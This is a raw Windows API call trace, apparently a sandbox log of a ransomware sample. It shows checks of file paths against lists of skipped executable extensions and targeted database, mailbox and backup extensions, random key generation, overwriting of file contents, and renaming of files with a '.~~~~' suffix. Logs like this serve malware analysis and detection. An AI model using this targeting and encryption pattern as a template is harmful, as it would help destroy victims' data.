	[0084.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96f8 | out: hHeap=0x300000) returned 1
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.393] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.394] GetLastError () returned 0x0
	[0084.394] GetLastError () returned 0x0
	[0084.394] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.394] GetLastError () returned 0x0
	[0084.394] GetLastError () returned 0x0
	[0084.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff814f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.396] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x7eb1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7eb1, lpOverlapped=0x0) returned 1
	[0084.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.396] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.396] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.396] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.397] CloseHandle (hObject=0x124) returned 1
	[0084.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b89e0
	[0084.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.~~~~")) returned 1
	[0084.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b89e0 | out: hHeap=0x300000) returned 1
	[0084.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.435] GetLastError () returned 0x0
	[0084.435] RtlWakeConditionVariable () returned 0x365f70
	[0084.435] GetCurrentThreadId () returned 0xaf0
	[0084.435] GetCurrentThreadId () returned 0xaf0
	[0084.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28431c8
	[0084.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8728 | out: hHeap=0x300000) returned 1
	[0084.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc78 | out: hHeap=0x300000) returned 1
	[0084.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8728
	[0084.436] lstrlenW (lpString=".scr") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".scr") returned 0x0
	[0084.436] lstrlenW (lpString=".cmd") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".cmd") returned 0x0
	[0084.436] lstrlenW (lpString=".dll") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dll") returned 0x0
	[0084.436] lstrlenW (lpString=".bat") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".bat") returned 0x0
	[0084.436] lstrlenW (lpString=".cpl") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".cpl") returned 0x0
	[0084.436] lstrlenW (lpString=".sys") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".sys") returned 0x0
	[0084.436] lstrlenW (lpString=".msc") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".msc") returned 0x0
	[0084.436] lstrlenW (lpString=".com") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".com") returned 0x0
	[0084.436] lstrlenW (lpString=".lnk") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".lnk") returned 0x0
	[0084.436] lstrlenW (lpString=".msp") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".msp") returned 0x0
	[0084.436] lstrlenW (lpString=".pif") returned 4
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".pif") returned 0x0
	[0084.436] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.437] lstrlenW (lpString=".sqb") returned 4
	[0084.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".sqb") returned 0x0
	[0084.437] lstrlenW (lpString=".ost") returned 4
	[0084.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".ost") returned 0x0
	[0084.437] lstrlenW (lpString=".txt") returned 4
	[0084.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".txt") returned 0x0
	[0084.437] lstrlenW (lpString=".mdt") returned 4
	[0084.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".mdt") returned 0x0
	[0084.437] lstrlenW (lpString=".BDB") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".BDB") returned 0x0
	[0084.438] lstrlenW (lpString=".eql") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".eql") returned 0x0
	[0084.438] lstrlenW (lpString=".DBF") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DBF") returned 0x0
	[0084.438] lstrlenW (lpString=".EQL") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".EQL") returned 0x0
	[0084.438] lstrlenW (lpString=".FDB") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".FDB") returned 0x0
	[0084.438] lstrlenW (lpString=".EDB") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".EDB") returned 0x0
	[0084.438] lstrlenW (lpString=".DACPAC") returned 7
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DACPAC") returned 0x0
	[0084.438] lstrlenW (lpString=".VHD") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".VHD") returned 0x0
	[0084.438] lstrlenW (lpString=".DBV") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DBV") returned 0x0
	[0084.438] lstrlenW (lpString=".dacpac") returned 7
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dacpac") returned 0x0
	[0084.438] lstrlenW (lpString=".sdf") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".sdf") returned 0x0
	[0084.438] lstrlenW (lpString=".accdb") returned 6
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".accdb") returned 0x0
	[0084.438] lstrlenW (lpString=".DBX") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DBX") returned 0x0
	[0084.438] lstrlenW (lpString=".MDT") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".MDT") returned 0x0
	[0084.438] lstrlenW (lpString=".SQB") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".SQB") returned 0x0
	[0084.438] lstrlenW (lpString=".vhd") returned 4
	[0084.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".vhd") returned 0x0
	[0084.439] lstrlenW (lpString=".bac") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".bac") returned 0x0
	[0084.439] lstrlenW (lpString=".mdf") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".mdf") returned 0x0
	[0084.439] lstrlenW (lpString=".BAK") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".BAK") returned 0x0
	[0084.439] lstrlenW (lpString=".BAC") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".BAC") returned 0x0
	[0084.439] lstrlenW (lpString=".dbs") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dbs") returned 0x0
	[0084.439] lstrlenW (lpString=".vhdx") returned 5
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".vhdx") returned 0x0
	[0084.439] lstrlenW (lpString=".NDF") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".NDF") returned 0x0
	[0084.439] lstrlenW (lpString=".dat") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dat") returned 0x0
	[0084.439] lstrlenW (lpString=".DBS") returned 4
	[0084.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DBS") returned 0x0
	[0084.440] lstrlenW (lpString=".CKP") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".CKP") returned 0x0
	[0084.440] lstrlenW (lpString=".edb") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".edb") returned 0x0
	[0084.440] lstrlenW (lpString=".PST") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".PST") returned 0x0
	[0084.440] lstrlenW (lpString=".dbf") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dbf") returned 0x0
	[0084.440] lstrlenW (lpString=".SQL") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".SQL") returned 0x0
	[0084.440] lstrlenW (lpString=".pst") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".pst") returned 0x0
	[0084.440] lstrlenW (lpString=".dbv") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dbv") returned 0x0
	[0084.440] lstrlenW (lpString=".SDF") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".SDF") returned 0x0
	[0084.440] lstrlenW (lpString=".dtxs") returned 5
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dtxs") returned 0x0
	[0084.440] lstrlenW (lpString=".db3") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".db3") returned 0x0
	[0084.440] lstrlenW (lpString=".OST") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".OST") returned 0x0
	[0084.440] lstrlenW (lpString=".dbx") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dbx") returned 0x0
	[0084.440] lstrlenW (lpString=".DB3") returned 4
	[0084.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DB3") returned 0x0
	[0084.441] lstrlenW (lpString=".DAT") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DAT") returned 0x0
	[0084.441] lstrlenW (lpString=".VHDX") returned 5
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".VHDX") returned 0x0
	[0084.441] lstrlenW (lpString=".ndf") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".ndf") returned 0x0
	[0084.441] lstrlenW (lpString=".DB") returned 3
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DB") returned 0x0
	[0084.441] lstrlenW (lpString=".sql") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".sql") returned 0x0
	[0084.441] lstrlenW (lpString=".MYD") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".MYD") returned 0x0
	[0084.441] lstrlenW (lpString=".DBT") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DBT") returned 0x0
	[0084.441] lstrlenW (lpString=".ACCDB") returned 6
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".ACCDB") returned 0x0
	[0084.441] lstrlenW (lpString=".fdb") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".fdb") returned 0x0
	[0084.441] lstrlenW (lpString=".bak") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".bak") returned 0x0
	[0084.441] lstrlenW (lpString=".myd") returned 4
	[0084.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".myd") returned 0x0
	[0084.441] lstrlenW (lpString=".DTXS") returned 5
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".DTXS") returned 0x0
	[0084.442] lstrlenW (lpString=".ckp") returned 4
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".ckp") returned 0x0
	[0084.442] lstrlenW (lpString=".dbt") returned 4
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".dbt") returned 0x0
	[0084.442] lstrlenW (lpString=".db") returned 3
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".db") returned 0x0
	[0084.442] lstrlenW (lpString=".TXT") returned 4
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".TXT") returned 0x0
	[0084.442] lstrlenW (lpString=".MDF") returned 4
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".MDF") returned 0x0
	[0084.442] lstrlenW (lpString=".bdb") returned 4
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".bdb") returned 0x0
	[0084.442] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.442] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.443] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.443] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.443] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20443345860) returned 1
	[0084.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c2a4d10, dwHighDateTime=0x1d60e1e)) 
	[0084.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc78
	[0084.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc78 | out: hHeap=0x300000) returned 1
	[0084.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843260
	[0084.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.444] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.444] GetLastError () returned 0x0
	[0084.444] GetLastError () returned 0x0
	[0084.444] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.444] GetLastError () returned 0x0
	[0084.445] GetLastError () returned 0x0
	[0084.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffe53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.446] WriteFile (in: hFile=0x124, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x1ad, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1ad, lpOverlapped=0x0) returned 1
	[0084.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.447] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.447] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.447] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.447] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.447] CloseHandle (hObject=0x124) returned 1
	[0084.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.447] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.~~~~")) returned 1
	[0084.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.448] GetLastError () returned 0x0
	[0084.448] RtlWakeConditionVariable () returned 0x365f70
	[0084.448] GetCurrentThreadId () returned 0xaf0
	[0084.448] GetCurrentThreadId () returned 0xaf0
	[0084.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808870 | out: hHeap=0x300000) returned 1
	[0084.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2790 | out: hHeap=0x300000) returned 1
	[0084.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808870
	[0084.448] lstrlenW (lpString=".scr") returned 4
